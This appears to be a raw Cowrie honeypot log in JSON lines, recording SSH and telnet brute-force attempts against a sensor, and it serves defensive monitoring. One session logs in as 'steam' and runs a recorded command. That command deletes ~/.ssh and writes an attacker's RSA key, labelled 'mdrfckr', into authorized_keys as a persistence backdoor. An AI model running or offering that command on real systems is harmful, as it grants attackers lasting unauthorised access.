{"eventid":"cowrie.session.closed","duration":7.277961254119873,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:50.616240Z","src_ip":"38.54.119.93","session":"db4a2a217a57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53114,"dst_ip":"10.17.0.5","dst_port":23,"session":"424090385a33","protocol":"telnet","message":"New connection: 62.210.97.77:53114 (10.17.0.5:23) [session: 424090385a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:52.477859Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":36864,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd9dedcceff6","protocol":"ssh","message":"New connection: 181.234.2.36:36864 (159.203.135.109:22) [session: fd9dedcceff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:55.604929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:55.610430Z","src_ip":"181.234.2.36","session":"fd9dedcceff6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:55.708194Z","src_ip":"181.234.2.36","session":"fd9dedcceff6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1q2w3e4r","message":"login attempt [steam/1q2w3e4r] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:56.101720Z","src_ip":"181.234.2.36","session":"fd9dedcceff6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:56.322928Z","src_ip":"181.234.2.36","session":"fd9dedcceff6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:56.325921Z","src_ip":"181.234.2.36","session":"fd9dedcceff6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:56.328863Z","src_ip":"181.234.2.36","session":"fd9dedcceff6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:56.422299Z","src_ip":"181.234.2.36","session":"fd9dedcceff6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:56.641485Z","src_ip":"181.234.2.36","session":"fd9dedcceff6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:56.644234Z","src_ip":"181.234.2.36","session":"fd9dedcceff6","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:56.740687Z","src_ip":"181.234.2.36","session":"fd9dedcceff6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:56.744474Z","src_ip":"181.234.2.36","session":"fd9dedcceff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":37370,"dst_ip":"159.203.135.109","dst_port":22,"session":"d49597a8b715","protocol":"ssh","message":"New connection: 181.234.2.36:37370 (159.203.135.109:22) [session: d49597a8b715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:56.827253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:56.831944Z","src_ip":"181.234.2.36","session":"d49597a8b715","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:56.931051Z","src_ip":"181.234.2.36","session":"d49597a8b715","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:57.326876Z","src_ip":"181.234.2.36","session":"d49597a8b715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.7048773765564,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:58.057269Z","src_ip":"65.60.27.33","session":"cb41019f56e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:58.421002Z","src_ip":"181.234.2.36","session":"d49597a8b715","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":37878,"dst_ip":"159.203.135.109","dst_port":22,"session":"7370a8146f68","protocol":"ssh","message":"New connection: 181.234.2.36:37878 (159.203.135.109:22) [session: 7370a8146f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:58.548394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:58.555655Z","src_ip":"181.234.2.36","session":"7370a8146f68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.65245509147644,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:58.558461Z","src_ip":"62.210.97.77","session":"28ca1aaee34c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:58.661463Z","src_ip":"181.234.2.36","session":"7370a8146f68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.797534704208374,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:58.763529Z","src_ip":"62.210.97.77","session":"76df5aa1e19f","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:59.080929Z","src_ip":"181.234.2.36","session":"7370a8146f68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:59.179563Z","src_ip":"181.234.2.36","session":"7370a8146f68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:59.188395Z","src_ip":"181.234.2.36","session":"fd9dedcceff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37936,"dst_ip":"10.17.0.5","dst_port":23,"session":"172681d6a22e","protocol":"telnet","message":"New connection: 62.210.97.77:37936 (10.17.0.5:23) [session: 172681d6a22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:00.527637Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":58804,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ab82b0e53cb","protocol":"telnet","message":"New connection: 38.54.119.93:58804 (10.17.0.5:23) [session: 3ab82b0e53cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:00.710840Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37942,"dst_ip":"10.17.0.5","dst_port":23,"session":"859168f8834c","protocol":"telnet","message":"New connection: 62.210.97.77:37942 (10.17.0.5:23) [session: 859168f8834c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:00.942537Z"}
{"eventid":"cowrie.session.closed","duration":44.83414149284363,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:06.560313Z","src_ip":"165.232.131.181","session":"639be112fad4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":43610,"dst_ip":"10.17.0.5","dst_port":23,"session":"4921d0ace2ad","protocol":"telnet","message":"New connection: 65.60.27.33:43610 (10.17.0.5:23) [session: 4921d0ace2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:07.878404Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":57662,"dst_ip":"10.17.0.5","dst_port":22,"session":"acc92c61f4b7","protocol":"ssh","message":"New connection: 172.185.24.228:57662 (10.17.0.5:22) [session: acc92c61f4b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:09.557339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:09.648710Z","src_ip":"172.185.24.228","session":"acc92c61f4b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:09.726831Z","src_ip":"172.185.24.228","session":"acc92c61f4b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"qwe","message":"login attempt [git/qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:10.372756Z","src_ip":"172.185.24.228","session":"acc92c61f4b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:11.457967Z","src_ip":"172.185.24.228","session":"acc92c61f4b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.003258228302,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:13.395743Z","src_ip":"188.66.52.72","session":"a598c369cf40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.66.52.72","src_port":31565,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5f4d9797bdc","protocol":"telnet","message":"New connection: 188.66.52.72:31565 (10.17.0.5:23) [session: a5f4d9797bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:14.624832Z"}
{"eventid":"cowrie.session.closed","duration":120.00240349769592,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:16.009983Z","src_ip":"188.66.52.72","session":"d462849df247","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45768,"dst_ip":"10.17.0.5","dst_port":23,"session":"abeff0396415","protocol":"telnet","message":"New connection: 62.210.97.77:45768 (10.17.0.5:23) [session: abeff0396415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:16.854038Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.66.52.72","src_port":49948,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c1b8259561a","protocol":"telnet","message":"New connection: 188.66.52.72:49948 (10.17.0.5:23) [session: 3c1b8259561a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:16.927956Z"}
{"eventid":"cowrie.session.closed","duration":120.00188851356506,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:17.868661Z","src_ip":"188.66.52.72","session":"1ebef33a982d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00226712226868,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:18.735708Z","src_ip":"188.66.52.72","session":"eecade238dd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.66.52.72","src_port":51148,"dst_ip":"10.17.0.5","dst_port":23,"session":"37076b999c54","protocol":"telnet","message":"New connection: 188.66.52.72:51148 (10.17.0.5:23) [session: 37076b999c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:18.767135Z"}
{"eventid":"cowrie.session.closed","duration":36.06054711341858,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:19.840337Z","src_ip":"62.210.97.77","session":"0a85f9439412","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.66.52.72","src_port":48751,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb33ee3c4e1a","protocol":"telnet","message":"New connection: 188.66.52.72:48751 (10.17.0.5:23) [session: bb33ee3c4e1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:20.528510Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57220,"dst_ip":"10.17.0.5","dst_port":23,"session":"6854687551fa","protocol":"telnet","message":"New connection: 65.60.27.33:57220 (10.17.0.5:23) [session: 6854687551fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:21.465019Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44998,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7c582e6927e","protocol":"telnet","message":"New connection: 165.232.131.181:44998 (10.17.0.5:23) [session: d7c582e6927e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:22.189481Z"}
{"eventid":"cowrie.session.closed","duration":31.887763738632202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:24.365538Z","src_ip":"62.210.97.77","session":"424090385a33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35632,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec4ed27e20e6","protocol":"telnet","message":"New connection: 65.60.27.33:35632 (10.17.0.5:23) [session: ec4ed27e20e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:26.940861Z"}
{"eventid":"cowrie.session.closed","duration":45.48151755332947,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:27.034216Z","src_ip":"165.232.131.181","session":"3f1550962b74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41996,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e28dba488b9","protocol":"telnet","message":"New connection: 62.210.97.77:41996 (10.17.0.5:23) [session: 6e28dba488b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:32.589629Z"}
{"eventid":"cowrie.session.closed","duration":32.43696689605713,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:32.964443Z","src_ip":"62.210.97.77","session":"172681d6a22e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.05007457733154,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:06:37.992481Z","src_ip":"62.210.97.77","session":"859168f8834c","protocol":"telnet"}
